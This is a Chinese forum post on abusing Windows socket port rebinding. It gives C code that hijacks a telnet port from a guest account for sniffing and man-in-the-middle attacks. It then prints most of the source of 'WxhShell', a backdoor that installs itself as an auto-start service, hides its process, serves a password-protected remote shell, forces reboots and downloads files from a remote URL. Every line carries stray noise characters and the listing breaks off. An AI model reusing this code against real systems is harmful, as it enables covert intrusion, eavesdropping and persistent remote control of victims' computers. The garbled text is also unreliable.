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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "Ze<dB#,Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y]%Io]!d  
0^ $6U  
  saddr.sin_family = AF_INET; F:2V;  
4--[.j*W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n{.SNipU  
}{)>aJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0hju@&Aa  
%R*-oQ1T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yLCJSN$7  
9jt+PII  
  这意味着什么?意味着可以进行如下的攻击: =MMSmu5!  
9iOTT%pq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j1P#({z[  
7cT ~u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _O>8jH!#  
z_ia3k<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >z69r0)>  
cpBTi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !W45X}/o  
oOy_2fwZPp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j}@n`[V1  
ns !Mqcm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4VfZw\^  
Q>>II|~;J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l=t$ XWh!  
q{oppali  
  #include \MFjb IL  
  #include W&0KO-}ot  
  #include !5[5l!{x  
  #include    o51jw(wO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EEO)b_(  
  int main() U>kL|X3 V  
  { <>6DPHg~  
  WORD wVersionRequested; r4Jc9Tv d  
  DWORD ret; Y**|e4  
  WSADATA wsaData; l)( 3]  
  BOOL val; A<s9c=d6  
  SOCKADDR_IN saddr; qCgoB 0  
  SOCKADDR_IN scaddr; );5H<[  
  int err; kG$U  
  SOCKET s; vTUhIFa{  
  SOCKET sc; dn@_\5  
  int caddsize; "~/O>.p  
  HANDLE mt; IH~[/qNk  
  DWORD tid;   'nh^'i&0.  
  wVersionRequested = MAKEWORD( 2, 2 ); :Z5Twb3h  
  err = WSAStartup( wVersionRequested, &wsaData ); ^N:bT;;$nZ  
  if ( err != 0 ) { Q !G^CG  
  printf("error!WSAStartup failed!\n"); 6'1m3<G_  
  return -1; d;O4)8 >  
  } O;?Nz:/q  
  saddr.sin_family = AF_INET; O4fl$egQU  
   %.VFj7J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5]yby"Z?}  
whvvc2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I9;,qd%<T  
  saddr.sin_port = htons(23); '?MT " G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $^j#z^7  
  { z1 P=P%F  
  printf("error!socket failed!\n"); rRzc"W}K+  
  return -1; OtFGo 8  
  } "s5[w+,R  
  val = TRUE; ,$<="kJk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rW B/#m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Dk`(Wgk2  
  { r:Rk!z*  
  printf("error!setsockopt failed!\n"); }:a:E~5y  
  return -1; jQrw^6C  
  } EgT?Hvx:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YPNG9^Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 IG=#2 /$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :J6lJ8w ?  
#J09Eka;J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZQY?wO: [  
  { bL]NSD  
  ret=GetLastError(); s'JbG&T[J  
  printf("error!bind failed!\n"); yRv4,{B}X>  
  return -1; ]ovb!X_  
  } hO] vy>i;  
  listen(s,2); H$={i$*,Y  
  while(1) M"Q{lR  
  { 7S]<?>*  
  caddsize = sizeof(scaddr); 1'"TO5  
  //接受连接请求 _[t:Vme}v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7@uhw">mX  
  if(sc!=INVALID_SOCKET) ?,0 a#lG  
  { dNfME*"yN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XlDN)b5v{  
  if(mt==NULL) ].r~?9'/  
  { '| rhm  
  printf("Thread Creat Failed!\n"); ztb?4f q6)  
  break; ^'ac |+  
  } e'0BP,\f_}  
  } Uon^z?0A  
  CloseHandle(mt); ?0J&U4  
  } c$#7Kp4  
  closesocket(s);  -#<AbT  
  WSACleanup(); rK} =<R  
  return 0; 3P2x%Gp  
  }   C 5 xsh  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q.Xs%{B  
  { LZH~VkK@m}  
  SOCKET ss = (SOCKET)lpParam; {q1u[T&r  
  SOCKET sc; ]L{diD 2G  
  unsigned char buf[4096]; )]M,OMYq-  
  SOCKADDR_IN saddr; [H5BIM@{  
  long num; 5~GH*!h%;  
  DWORD val; Dlqvz|X/  
  DWORD ret; "cDMFu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5e}adHjM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q)PLc{NO  
  saddr.sin_family = AF_INET; ^LAnR>mz^r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &Xh_`*]ox  
  saddr.sin_port = htons(23); &.1qixXIr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N/6! |F  
  { ^Cy=L]  
  printf("error!socket failed!\n"); s@D/.X  
  return -1; uyDPWnYk  
  } <`'T#e$  
  val = 100; 5/YGu=,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !j%MN{#a  
  { 51-@4E2:l:  
  ret = GetLastError(); Fv$oXg/  
  return -1; BHNEP |=  
  } MmQ"z_v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k$3Iv"gbx  
  { Cm%|hk>fQ  
  ret = GetLastError(); </]a`h]  
  return -1; \zLKSJ]  
  } [PX%p ;"D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jT=fq'RK  
  { CWY-}M  
  printf("error!socket connect failed!\n"); buKSZ  
  closesocket(sc); _|VF^\i  
  closesocket(ss); g1v=a  
  return -1; "DvhAEM  
  } F4DJML-(  
  while(1) ]8f$&gw&A  
  { ToR@XL!%rP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \c4D|7\=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7Fzj&!>ti  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sT'j36Nc<,  
  num = recv(ss,buf,4096,0); .H 9 r_  
  if(num>0) zS*vKyye>  
  send(sc,buf,num,0); #Q` TH<  
  else if(num==0) {4eI} p<  
  break; =A{s,UP  
  num = recv(sc,buf,4096,0); Pl\NzB,`  
  if(num>0) 9";qR,  
  send(ss,buf,num,0); 21[=xboU  
  else if(num==0) d.yATP  
  break; of8 >xvE|  
  } # 1 1<=3Yj  
  closesocket(ss); t?wVh0gT  
  closesocket(sc); T~8kKw  
  return 0 ; 9m%2&fjK^  
  } @%BsQm  
<f#pS[A  
z1nKj\AM2  
========================================================== DT3"uJTt  
qs {wrem  
下边附上一个代码,,WXhSHELL >|aVGY  
KAg-M#  
========================================================== Fv<3VKueK[  
_N:GZLG  
#include "stdafx.h" UM2yv6:/  
<w3_EO  
#include <stdio.h> !v. <H]s)  
#include <string.h> lYT_Y.%I  
#include <windows.h> [ji')PCAi;  
#include <winsock2.h> 'x6rU"e$J  
#include <winsvc.h>  [ J4n%  
#include <urlmon.h> L)c]i'WZ  
A|YiSwyy  
#pragma comment (lib, "Ws2_32.lib") _*ar\A`  
#pragma comment (lib, "urlmon.lib") XhUVDmeUMb  
f7/M_sx  
#define MAX_USER   100 // 最大客户端连接数 OlP1Zd/l  
#define BUF_SOCK   200 // sock buffer q $PO. #  
#define KEY_BUFF   255 // 输入 buffer -"rANP-UI  
^hcK&  
#define REBOOT     0   // 重启 Qs ysy  
#define SHUTDOWN   1   // 关机 j'`-3<k  
KW!+Ws  
#define DEF_PORT   5000 // 监听端口 g@Pq<   
Y`."=8R~  
#define REG_LEN     16   // 注册表键长度 P9W?sPnC5  
#define SVC_LEN     80   // NT服务名长度 t;`ULp~&  
5zOC zm  
// 从dll定义API mt~E&Z(A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E24j(>   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i.{.koH<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YJ|U| [  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p8FXlTk  
D$+g5u)  
// wxhshell配置信息 86);0EBX  
struct WSCFG { 6^lix9q7  
  int ws_port;         // 监听端口 /U} )mdFm  
  char ws_passstr[REG_LEN]; // 口令 <G'M/IR a  
  int ws_autoins;       // 安装标记, 1=yes 0=no m d `=2l  
  char ws_regname[REG_LEN]; // 注册表键名 zkquXzlgB  
  char ws_svcname[REG_LEN]; // 服务名 b=5ZfhIg[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~n$\[rQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ehxu`>@N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tUt_Q;%yC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p3>Md?e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D#A6s32a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y]7 6y>|e  
bFSs{\zE  
}; (3~^zwA  
ICiGZ'k  
// default Wxhshell configuration I4KE@H"%7  
struct WSCFG wscfg={DEF_PORT, aW}d=y[  
    "xuhuanlingzhe", ^7a@?|,q8  
    1, k136n#KN1  
    "Wxhshell", Ri\\Yb  
    "Wxhshell", "L!U7|9J  
            "WxhShell Service", 'uF75C  
    "Wrsky Windows CmdShell Service", B<ue}t  
    "Please Input Your Password: ", > `mV^QD  
  1, 3 . K #,  
  "http://www.wrsky.com/wxhshell.exe", >.I9S{7  
  "Wxhshell.exe" zp5ZZcj_  
    }; ZL:SJ,C  
6AoKuT;  
// 消息定义模块 IJVzF1vC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {u+=K-Bj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [ . }Uzx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xz, o Mlw  
char *msg_ws_ext="\n\rExit."; m>RtKCtP  
char *msg_ws_end="\n\rQuit."; 10)RLh|+  
char *msg_ws_boot="\n\rReboot..."; {T-^xwc  
char *msg_ws_poff="\n\rShutdown..."; 1 e]D=2y  
char *msg_ws_down="\n\rSave to "; GaV}@Q  
hxMV?\MYj  
char *msg_ws_err="\n\rErr!"; &;~?\>?I  
char *msg_ws_ok="\n\rOK!"; i[ >U#5  
^C92R"*Qu  
char ExeFile[MAX_PATH]; fz A Fn$[  
int nUser = 0; y` {|D*  
HANDLE handles[MAX_USER]; bDm7$ (  
int OsIsNt; *Q)-"]O(k  
%'X~9Pvi  
SERVICE_STATUS       serviceStatus; r*dNta<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ud7Z7?Ym  
mkhWbzD'S  
// 函数声明 #SG.`J<%  
int Install(void); 0X4)=sJP  
int Uninstall(void); 3y,2RernK  
int DownloadFile(char *sURL, SOCKET wsh); @biU@[D  
int Boot(int flag); ~KV{m  
void HideProc(void); *nc3A[B#C  
int GetOsVer(void); | KY-kRN7  
int Wxhshell(SOCKET wsl); <LzxnTx=  
void TalkWithClient(void *cs); !zvOCAb,  
int CmdShell(SOCKET sock); K|l}+:k  
int StartFromService(void); *[m:4\  
int StartWxhshell(LPSTR lpCmdLine); _]-4UA-  
I9Uj3cL\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G&@d J &B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BzS\p3&  
xcn~KF8  
// 数据结构和表定义 EeT 69o  
SERVICE_TABLE_ENTRY DispatchTable[] = *X{7m]5  
{ 1)jea wVmj  
{wscfg.ws_svcname, NTServiceMain}, KVr9kcs  
{NULL, NULL} ^G2M4+W|  
}; D.Cn`O}  
jm@,Ihz=wI  
// 自我安装 ];"40/X  
int Install(void) o"FR% %  
{ r d-yqdJ  
  char svExeFile[MAX_PATH]; g{i= $xc  
  HKEY key; P3n#s2o6y  
  strcpy(svExeFile,ExeFile); ) <{u oH  
.9WOT ti  
// 如果是win9x系统,修改注册表设为自启动 Bs`{qmbC  
if(!OsIsNt) { Z4c'1-lh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /qMnIo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y:^o ._  
  RegCloseKey(key); /]_|uN)Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j"hEs(t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S3i p?9  
  RegCloseKey(key); *^Ges;5 $"  
  return 0; 9bM kP2w>  
    } 4c95G^dZ  
  } \uZ|2WG`  
} 8|<</v8i  
else { =[&+R9s  
6)*B%$?x  
// 如果是NT以上系统,安装为系统服务 o ABrhK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _)~1'tCs}h  
if (schSCManager!=0) qp/1 tC`  
{ [f! { -T  
  SC_HANDLE schService = CreateService Yh!=mW!OY  
  ( Shn=Q  
  schSCManager, vz>9jw:Y  
  wscfg.ws_svcname, de)4)EzUP  
  wscfg.ws_svcdisp, c;Tp_e@  
  SERVICE_ALL_ACCESS, x,]x>Up  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JN4gH4ez)  
  SERVICE_AUTO_START, _P!b0x~\  
  SERVICE_ERROR_NORMAL, K;WQV,  
  svExeFile, ok0ZI>=,  
  NULL, J*MH`;-  
  NULL, a/J Mg   
  NULL, 0nL #-`S  
  NULL, &VA^LS@b  
  NULL 71Za!3+  
  ); pgiZA?r*<  
  if (schService!=0) 2O*At%CzW  
  { LT o5v  
  CloseServiceHandle(schService); F8dr-"G  
  CloseServiceHandle(schSCManager); 8>W52~^fU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); leb/D>y  
  strcat(svExeFile,wscfg.ws_svcname); 8h }a:/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *~shvtq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U#S-x5Gn  
  RegCloseKey(key); r5ldK?=k+*  
  return 0; [DDe}D3C  
    } /RMtCa~  
  } 9jY+0h*uP  
  CloseServiceHandle(schSCManager); +])<}S!M  
} A&p@iE*/  
} [5!}+8]W  
tpEy-"D&  
return 1; wpt$bqs|1  
} nW"O+s3  
_ h5d~  
// 自我卸载 w8R7Ksn(  
int Uninstall(void) gd]S;<Jh  
{ HcJ!(  
  HKEY key; Q~qM;l\i  
pfHjs3A=  
if(!OsIsNt) { y< j7iN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wK7w[Xt  
  RegDeleteValue(key,wscfg.ws_regname); XHj%U  
  RegCloseKey(key); M!5=3>Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X-fWdoN @-  
  RegDeleteValue(key,wscfg.ws_regname); 8s2y!pn7Q  
  RegCloseKey(key); U5wh( vi  
  return 0; O/FI>RT\H  
  } Gf3-%s xA  
} :wXiz`VH  
} %J9u?-~  
else { !-^oU"  
fs;\_E[)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3@\/5I xn  
if (schSCManager!=0) ][tR=Y#&y5  
{ 8 yi#] 5`Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dm[cl~[ Q  
  if (schService!=0) b@8z+,_  
  { cZ|NGkZ  
  if(DeleteService(schService)!=0) { ]xMZo){[|  
  CloseServiceHandle(schService); w(aj'i  
  CloseServiceHandle(schSCManager); L(K 5f7\  
  return 0; R&;x_4dr^  
  } GiX3c^V"1  
  CloseServiceHandle(schService); nRB3VsL  
  }  R*2N\2  
  CloseServiceHandle(schSCManager); JxwKTFU'3O  
} !J<Xel {  
} 21tv(x  
J&fIW Z  
return 1; 4-SU\_  
} E56  
6'kQ(r>  
// 从指定url下载文件 0$c(<+D  
int DownloadFile(char *sURL, SOCKET wsh) 6`Y:f[VB  
{ ``k[CgV  
  HRESULT hr; dWiNe!oY2  
char seps[]= "/"; P?f${ t+  
char *token; hBnUpYec  
char *file; g[1>|Ax`'  
char myURL[MAX_PATH]; ]?H12xz  
char myFILE[MAX_PATH]; - K?lhu  
^*`#+*C  
strcpy(myURL,sURL); CN ( :  
  token=strtok(myURL,seps); 0Zwx3[bq6K  
  while(token!=NULL) qhvT,"  
  { 3{|~'5*  
    file=token; 1!G}*38;  
  token=strtok(NULL,seps); ,(Zxd4?y  
  } ; 8DtnnE  
BRM `/s  
GetCurrentDirectory(MAX_PATH,myFILE); {g1"{  
strcat(myFILE, "\\"); VFZ?<m  
strcat(myFILE, file); ,M?8s2?  
  send(wsh,myFILE,strlen(myFILE),0); u8KQV7E  
send(wsh,"...",3,0); ^ '|y^t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LH_H yP_  
  if(hr==S_OK) |[iO./ zP  
return 0; 3%(r,AD  
else Be@g|'r  
return 1; R|(X_A  
NYP3u_ QX  
} 1c#\CO1l  
\9OKf|#j  
// 系统电源模块 5PZ7-WJ/  
int Boot(int flag) K/Yeh<_&  
{ ![ce }  
  HANDLE hToken; R|8L'H+1x  
  TOKEN_PRIVILEGES tkp; 467"pqT  
UakVmVN/P  
  if(OsIsNt) { C=r`\W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X41Qkf{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  <a $!S  
    tkp.PrivilegeCount = 1; N}%AUm/L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H!7?#tRU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zn^7#$fC  
if(flag==REBOOT) { 7L&,Na  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0]*W0#{Zj  
  return 0; $t^Td<  
} Ewr2popK  
else { kI!@J6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~!mY0odH  
  return 0; *5oQZ".vA*  
} $dKfUlO  
  } ww7nQ}H5(  
  else { rQ_cH  
if(flag==REBOOT) { z(Uz<*h8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )8g& lyT  
  return 0; =dHdq D  
} a@jM%VZ  
else { OET/4( C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~D}fy  
  return 0; C}<e3BXc  
} D=z="p\  
} ]!sCWR  
$mKExW  
return 1; ]!^wB 3j  
} "@ ^<~bw  
-QJ8\/1>  
// win9x进程隐藏模块 j*|0#q;e6  
void HideProc(void) Mx6 yk,  
{ QnBWZUI  
Ih.)iTs~%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q.eD:@%iE  
  if ( hKernel != NULL ) 8(Ptse  ,  
  { >gL&a#<S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .!L{yU,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  "O9n|B  
    FreeLibrary(hKernel); r`sKe &  
  } PR!0=E*}  
+ug2p;<B  
return; k=kkF"  
} rp<~=X  
G7`mK}J7  
// 获取操作系统版本 J5jI/P  
int GetOsVer(void) 6p&2 A  
{ (z)#}TC  
  OSVERSIONINFO winfo; V*O[8s%5v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H1q,w|O9j  
  GetVersionEx(&winfo); ;:oJFI#;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {`*Fu/Upb  
  return 1; +924_,zF  
  else "2-D[rYZ  
  return 0; Z]{=Jy !F  
} mDp8JNJNE  
{ g[kn^|  
// 客户端句柄模块 ndDF(qHr  
int Wxhshell(SOCKET wsl) |P& \C8h  
{ G#`  
  SOCKET wsh; fW=<bf  
  struct sockaddr_in client; >)NS U  
  DWORD myID; 'L7u`  
@N<h`vDa  
  while(nUser<MAX_USER) dQrz+_   
{ . 4RU'9M  
  int nSize=sizeof(client); LU8[$.P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tMP"9JE,  
  if(wsh==INVALID_SOCKET) return 1; Oh10X.)i  
-&1P2m/46  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ws QuJrG  
if(handles[nUser]==0) x|d?'  
  closesocket(wsh); PWp=}f.y  
else /%7&De6Xg  
  nUser++; 7D>_<)%d=  
  } 9 5j`^M)Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tr}XG  
ep},~tPZn  
  return 0; V8WSJ=-&  
} Z*b l J5YC  
wE<r'  
// 关闭 socket [+W<;iep  
void CloseIt(SOCKET wsh) X-" +nThMn  
{ #/H2p`5  
closesocket(wsh); ~;]zEq-hG  
nUser--; C .B=E"e  
ExitThread(0); P{ %Urv{U  
} 2/A*\  
9* 3;v;F  
// 客户端请求句柄 -~JYfj@  
void TalkWithClient(void *cs) ci2Z_JA+  
{ tcl9:2/^]  
>L "+8N6  
  SOCKET wsh=(SOCKET)cs; Z 1wtOL  
  char pwd[SVC_LEN]; 3Ur_?PM+C  
  char cmd[KEY_BUFF]; n!SHExBp  
char chr[1]; '`<Fys&:  
int i,j; #1*7eANfr  
4bw4!z9G  
  while (nUser < MAX_USER) { nJYIkfdA  
* Wp?0CP  
if(wscfg.ws_passstr) { \I}EWI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ZS!1%1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {fV$\^c  
  //ZeroMemory(pwd,KEY_BUFF); 0k5uqGLXe  
      i=0; \JR^uJ{Y  
  while(i<SVC_LEN) { YuIF}mUr"  
>)diXe}j  
  // 设置超时 +G"YQq'b  
  fd_set FdRead; |w#~v%w  
  struct timeval TimeOut; `x>6Wk1  
  FD_ZERO(&FdRead); `J03t\  
  FD_SET(wsh,&FdRead); 4e|N^h*!  
  TimeOut.tv_sec=8; $~1mKx]]  
  TimeOut.tv_usec=0; Val"vUZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b3 =Z~iLv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [MbbL  
Tjv'S <  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aqQ+A:g  
  pwd=chr[0]; 8* #$ 3e  
  if(chr[0]==0xd || chr[0]==0xa) { iV#A-9  
  pwd=0; #+U1QOsz  
  break; I#;dS!W"'  
  } [ "3s  
  i++; .Oc j|A6  
    } (.Ak*  
 CDuA2e  
  // 如果是非法用户,关闭 socket *pnaj\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Uz rf,I[  
} 6L\]Ee  
t18j2P>`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EVaHb;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K*,,j\Q.  
),Yk53G6c  
while(1) { P?|\Ig1Gk  
gzat!>*  
  ZeroMemory(cmd,KEY_BUFF); , #GB  
H-u SdT  
      // 自动支持客户端 telnet标准   d2gYB qag  
  j=0; rMjb,2*rC7  
  while(j<KEY_BUFF) { Rmn{Vui9\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r7?nHF  
  cmd[j]=chr[0]; jpZq]E9`P  
  if(chr[0]==0xa || chr[0]==0xd) { Pn.DeoHme  
  cmd[j]=0; u=]*,,5<  
  break; yk5K8D[tV  
  } < Mu`,Kv*  
  j++; ;Sg.E 8  
    } m0h,!  
52#6uBe  
  // 下载文件 m2l9([u=^  
  if(strstr(cmd,"http://")) { )wD/<7;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _ gYj@ %  
  if(DownloadFile(cmd,wsh)) _Ds,91<muQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y`7<c5zD  
  else 6dz^%Ub  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W1)<!nwA  
  } W+"^!p|  
  else { 0MxK+8\y  
SVd@- '-K  
    switch(cmd[0]) { >35w"a7S  
  OQ wO7Z  
  // 帮助 O_.!qk1R  
  case '?': { qAbmQ{|w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fXl2i]L(^B  
    break; C%]qK(9vvd  
  } #s\kF *  
  // 安装 SRk!HuXh  
  case 'i': { @0t[7Nv-1  
    if(Install()) $)9|"q6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "cBqZzkk9j  
    else Lq;iR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d-tg^Ot#  
    break; x@bqPZ t  
    } ^_P?EJ,)`  
  // 卸载 Qf ~$9?z  
  case 'r': { g:y4C6b  
    if(Uninstall()) `0M6<e]C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k[a<KbS  
    else {}Is&^3Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aD'Ax\-  
    break; #rBfp|b]1  
    } U2WHs3  
  // 显示 wxhshell 所在路径 +s8R]3NJ_H  
  case 'p': { Xfqin4/jC  
    char svExeFile[MAX_PATH]; 3^ y<Db  
    strcpy(svExeFile,"\n\r"); 2@2d |  
      strcat(svExeFile,ExeFile); Dg0rVV6c  
        send(wsh,svExeFile,strlen(svExeFile),0); ;i?2^xe^~c  
    break; /JC1o&z_T  
    } ?vAhDD5  
  // 重启 vF'>?O?  
  case 'b': { ;sAGTq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wik<# ke  
    if(Boot(REBOOT)) C|3Xz[k{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZxT E(BQv  
    else { J!5b~8`v  
    closesocket(wsh); .7b%7dQ<\  
    ExitThread(0); `Z5dRLrd  
    } mR XR uK  
    break; DQXcf*R  
    } Ny$3$5/  
  // 关机 GQ@mQ=i  
  case 'd': { .RFH@''  
